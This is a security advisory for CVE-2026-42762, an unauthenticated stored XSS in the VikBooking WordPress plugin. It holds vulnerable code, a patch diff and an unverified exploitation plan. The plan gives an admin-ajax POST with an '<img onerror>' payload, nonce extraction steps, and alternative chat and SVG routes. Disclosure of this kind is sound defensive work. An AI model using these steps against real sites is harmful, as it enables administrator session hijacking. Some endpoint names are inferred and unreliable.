CVE-2026-42762

VikBooking Hotel Booking Engine & PMS <= 1.8.9 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
1.8.10
Patched in
8d
Time to patch

Description

The VikBooking Hotel Booking Engine & PMS plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.8.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.8.9
PublishedJune 1, 2026
Last updatedJune 8, 2026
Affected pluginvikbooking

What Changed in the Fix

Changes introduced in v1.8.10

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-42762 ## 1. Vulnerability Summary The **VikBooking Hotel Booking Engine & PMS** plugin (versions <= 1.8.9) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin accepts user-controlled guest (pax) …

Show full research plan

Exploitation Research Plan - CVE-2026-42762

1. Vulnerability Summary

The VikBooking Hotel Booking Engine & PMS plugin (versions <= 1.8.9) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin accepts user-controlled guest (pax) information during the booking or pre-check-in process and subsequently renders this data in the administrative back-end without sufficient sanitization or output escaping. Specifically, guest names and other profile fields are echoed directly into the HTML of the "Booking Check-in" view.

2. Attack Vector Analysis

  • Vulnerable Endpoint: Front-end pre-check-in or booking confirmation forms.
  • Action/Hook: wp_ajax_nopriv_vikbooking_save_checkin or wp_ajax_nopriv_vbo_save_order (inferred).
  • Vulnerable Parameter: first_name, last_name, or extranotes.
  • Authentication: None (Unauthenticated).
  • Preconditions: The guest must have a valid booking ID (to use the pre-check-in) OR the attacker can simply submit a new booking request if guest bookings are enabled.

3. Code Flow

  1. Entry Point (Unauthenticated): A guest interacts with the front-end "Pre-Check-in" form or the initial booking form. The fields are defined in admin/helpers/src/checkin/paxfields/basic.php.
  2. Storage: The data is processed and saved into the database (e.g., #__vikbooking_orders or pax data tables) via the VBOCheckinPax or VBOModelQuote models.
  3. Sink (Admin Context): An administrator navigates to VikBooking > Bookings and clicks on the "Check-in" button for a specific order.
  4. Rendering: The plugin loads the AJAX view admin/views/bookingcheckin/tmpl/default.php.
  5. Execution: At line 160 of admin/views/bookingcheckin/tmpl/default.php, the customer's name is rendered:
    // admin/views/bookingcheckin/tmpl/default.php:160
    echo (isset($customer['country_img']) ? $customer['country_img'].' ' : '').'<a href="javascript: void(0);" onclick="vboUpdateModal(\''.addslashes(JText::translate('VBCUSTINFO')).'\', \'.customer_info\', true);">'.ltrim($customer['first_name'].' '.$customer['last_name']).'</a>';
    
    The ltrim() function is used, which does not provide any XSS protection. The concatenated first_name and last_name are echoed directly inside an <a> tag.

4. Nonce Acquisition Strategy

The front-end forms for VikBooking typically localize security nonces into a global JavaScript object.

  1. Identify Shortcode: The pre-check-in feature is usually rendered via the [vikbooking_checkin] shortcode.
  2. Create Test Page:
    wp post create --post_type=page --post_title="Guest Checkin" --post_status=publish --post_content='[vikbooking_checkin]'
  3. Extract Nonce: Use browser_navigate to visit the page and browser_eval to extract the nonce.
    • JS Variable: window.vbo_vars?.vbo_ajax_nonce or window.vbo_chat_config?.nonce.
    • Verification: Check wp_localize_script calls in the plugin's front-end controllers to find the exact key.

5. Exploitation Strategy

Step 1: Inject Payload

Submit a pre-check-in request with the XSS payload in the first_name field.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=vikbooking_ajax_save_checkin&
    id_order=1&
    first_name=<img src=x onerror="alert('XSS_SUCCESS')">&
    last_name=Attacker&
    vbo_ajax_nonce=[EXTRACTED_NONCE]
    
    (Note: id_order must be a valid order ID. Use wp_cli to find or create one first).

Step 2: Trigger Payload

  1. Log in as a WordPress Administrator.
  2. Navigate to the VikBooking "Bookings" page.
  3. Locate the order with ID 1 and click the Check-in icon/button.
  4. A modal will open, and the browser will execute the alert('XSS_SUCCESS').

6. Test Data Setup

  1. Install Plugin: Ensure VikBooking <= 1.8.9 is active.
  2. Create Admin User: wp user create admin admin@example.com --role=administrator --user_pass=password
  3. Create an Order: VikBooking requires a pre-existing order to perform a check-in.
    wp eval "global \$wpdb; \$wpdb->insert(\$wpdb->prefix . 'vikbooking_orders', ['id' => 1, 'ts' => time(), 'checkin' => time(), 'checkout' => time() + 86400, 'status' => 'CONFIRMED']);"
  4. Create Check-in Page:
    wp post create --post_type=page --post_title="Checkin" --post_status=publish --post_content='[vikbooking_checkin]'

7. Expected Results

  • The vikbooking_ajax_save_checkin request should return a success JSON response.
  • When the admin opens the check-in modal, the HTML source should contain:
    ...<a ...>John <img src=x onerror="alert('XSS_SUCCESS')"> Attacker</a>...
  • The JavaScript payload will execute in the admin's session context.

8. Verification Steps

  1. Database Check: Verify the payload is stored in the database.
    wp db query "SELECT first_name FROM wp_vikbooking_orders WHERE id=1;" (Adjust table name prefix if necessary).
  2. Response Check: Use http_request as an admin to fetch the check-in modal content:
    GET /wp-admin/admin-ajax.php?action=vikbooking_ajax_load_checkin&id=1
    Search for the string <img src=x onerror="alert('XSS_SUCCESS')"> in the response body.

9. Alternative Approaches

  • Chat Module (v1.8.8+): If the check-in endpoint requires complex session validation, use the new Chat module.
    • Action: wp_ajax_nopriv_vbo_chat_send_message.
    • Payload: Send the script in the message body or attachment name.
    • Trigger: Admin opens the "Inquiries Chat" widget (admin-widget-inquiries-chat).
  • SVG Attachment: Use VBOChatMediator::uploadAttachment (found in admin/helpers/src/chat/mediator.php) to upload a .svg file containing an XSS payload, as svg is an explicitly allowed extension in VBOChatMediator::__construct.
Research Findings
Static analysis — not yet PoC-verified

Summary

The VikBooking plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS) due to insufficient input sanitization and output escaping. Attackers can inject malicious scripts into guest profile fields during the booking or pre-check-in process, which then execute when an administrator views the booking details in the backend.

Vulnerable Code

// admin/views/bookingcheckin/tmpl/default.php
// Around line 160 in version 1.8.9
<div class="vbo-bookdet-foot">
    <?php echo (isset($customer['country_img']) ? $customer['country_img'].' ' : '').'<a href="javascript: void(0);" onclick="vboUpdateModal(\''.addslashes(JText::translate('VBCUSTINFO')).'\', \'.customer_info\', true);">'.ltrim($customer['first_name'].' '.$customer['last_name']).'</a>'; ?>
</div>

---

// site/controller.php
// Lines 3269-3275
foreach ($pguests as $ind => $adults) {
    foreach ($adults as $aduind => $details) {
        foreach ($details as $detkey => $detval) {
            if (!in_array($detkey, $front_keys)) {
                // push the key of the guest details for later comparison
                array_push($front_keys, $detkey);
            }

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/vikbooking/1.8.9/admin/helpers/src/chat/mediator.php /home/deploy/wp-safety.org/data/plugin-versions/vikbooking/1.8.10/admin/helpers/src/chat/mediator.php
--- /home/deploy/wp-safety.org/data/plugin-versions/vikbooking/1.8.9/admin/helpers/src/chat/mediator.php	2026-04-28 16:07:36.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/vikbooking/1.8.10/admin/helpers/src/chat/mediator.php	2026-05-05 16:21:44.000000000 +0000
@@ -267,7 +267,19 @@
             return false;
         }
 
-        return JFile::delete($attachment->getPath());
+        $filePath = $attachment->getPath();
+
+        /**
+         * Make sure the file is located under the registered attachments path
+         * to prevent arbitrary file deletion.
+         * 
+         * @since 1.18.10 (J) - 1.8.10 (WP)
+         */
+        if (strpos($filePath, $this->attachmentsPath) !== 0) {
+            return false;
+        }
+
+        return JFile::delete($filePath);
     }
 
     /**
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/vikbooking/1.8.9/admin/helpers/src/checkin/paxfields/basic.php /home/deploy/wp-safety.org/data/plugin-versions/vikbooking/1.8.10/admin/helpers/src/checkin/paxfields/basic.php
--- /home/deploy/wp-safety.org/data/plugin-versions/vikbooking/1.8.9/admin/helpers/src/checkin/paxfields/basic.php	2026-04-28 16:07:36.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/vikbooking/1.8.10/admin/helpers/src/checkin/paxfields/basic.php	2026-05-05 16:21:44.000000000 +0000
@@ -15,8 +15,9 @@
  * Helper class to support the default pax fields data collection.
  * 
  * @since 	1.15.0 (J) - 1.5.0 (WP)
+ * @since 	1.18.10 (J) - 1.8.10 (WP) class is no longer final to allow inheritance.
  */
-final class VBOCheckinPaxfieldsBasic extends VBOCheckinAdapter
+class VBOCheckinPaxfieldsBasic extends VBOCheckinAdapter
 {
 	/**
 	 * The ID of this pax data collector class.
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/vikbooking/1.8.9/admin/helpers/src/model/quote.php /home/deploy/wp-safety.org/data/plugin-versions/vikbooking/1.8.10/admin/helpers/src/model/quote.php
--- /home/deploy/wp-safety.org/data/plugin-versions/vikbooking/1.8.9/admin/helpers/src/model/quote.php	2026-04-28 16:07:36.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/vikbooking/1.8.10/admin/helpers/src/model/quote.php	2026-05-05 16:21:44.000000000 +0000
@@ -58,6 +58,9 @@
         if (!empty($data['valid_until'])) {
             // convert the provided date-time string into UTC
             $data['valid_until'] = JFactory::getDate($data['valid_until'], JFactory::getApplication()->get('offset'))->toSql();
+        } else {
+            // force the value to be null
+            $data['valid_until'] = null;
         }
 
         if (!empty($data['country_3_code']) && strlen($data['country_3_code']) !== 3) {
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/vikbooking/1.8.9/admin/helpers/src/notification/elements.php /home/deploy/wp-safety.org/data/plugin-versions/vikbooking/1.8.10/admin/helpers/src/notification/elements.php
--- /home/deploy/wp-safety.org/data/plugin-versions/vikbooking/1.8.9/admin/helpers/src/notification/elements.php	2026-04-28 16:07:36.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/vikbooking/1.8.10/admin/helpers/src/notification/elements.php	2026-05-05 16:21:44.000000000 +0000
@@ -125,7 +125,7 @@
 	public function getTitle()
 	{
 		// access the notification title
-		$title = (string) $this->get('title', '');
+		$title = strip_tags((string) $this->get('title', ''));
 
 		// try to guess the title
 		if (!$title) {
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/vikbooking/1.8.9/admin/views/bookingcheckin/tmpl/default.php /home/deploy/wp-safety.org/data/plugin-versions/vikbooking/1.8.10/admin/views/bookingcheckin/tmpl/default.php
--- /home/deploy/wp-safety.org/data/plugin-versions/vikbooking/1.8.9/admin/views/bookingcheckin/tmpl/default.php	2026-04-28 16:07:36.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/vikbooking/1.8.10/admin/views/bookingcheckin/tmpl/default.php	2026-05-05 16:21:44.000000000 +0000
@@ -689,6 +689,8 @@
 						// display any other information collected through the pre check-in
 						if (count($pax_data) && isset($pax_data[$ind]) && isset($pax_data[$ind][$g])) {
 							foreach ($pax_data[$ind][$g] as $extrak => $extrav) {
+								// sanitize pax field key
+								$extrak = htmlspecialchars($extrak);
 								if (isset($pax_fields[$extrak]) || (is_scalar($extrav) && !strlen($extrav))) {
 									// this is a default pax field, we skip it
 									continue;
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/vikbooking/1.8.9/site/controller.php /home/deploy/wp-safety.org/data/plugin-versions/vikbooking/1.8.10/site/controller.php
--- /home/deploy/wp-safety.org/data/plugin-versions/vikbooking/1.8.9/site/controller.php	2026-04-28 16:07:36.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/vikbooking/1.8.10/site/controller.php	2026-05-05 16:21:44.000000000 +0000
@@ -3269,6 +3269,11 @@
 		foreach ($pguests as $ind => $adults) {
 			foreach ($adults as $aduind => $details) {
 				foreach ($details as $detkey => $detval) {
+					// accept no raw HTML tags as keys
+					$detkey = htmlspecialchars(strip_tags($detkey));
+					if (!$detkey) {
+						continue;
+					}
 					if (!in_array($detkey, $front_keys)) {
 						// push the key of the guest details for later comparison
 						array_push($front_keys, $detkey);
@@ -3304,6 +3309,11 @@
 						$guests_details[$ind][$aduind] = $details;
 					}
 					foreach ($details as $detkey => $detval) {
+						// accept no raw HTML tags as keys
+						$detkey = htmlspecialchars(strip_tags($detkey));
+					if (!$detkey) {
+						continue;
+					}
 						if (!in_array($detkey, $front_keys)) {
 							// merge this key probably reserved to the back-end
 							$guests_details[$ind][$aduind][$detkey] = $detval;

Exploit Outline

An unauthenticated attacker can exploit this by submitting a pre-check-in form or a booking request where fields like 'first_name', 'last_name', or 'extranotes' contain a malicious script (e.g., <img src=x onerror=alert(1)>). This payload is stored in the database. When a logged-in administrator visits the VikBooking 'Bookings' section and opens the 'Check-in' modal for that specific order, the malicious script is rendered and executed within the administrator's browser session, potentially allowing session hijacking or unauthorized administrative actions.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.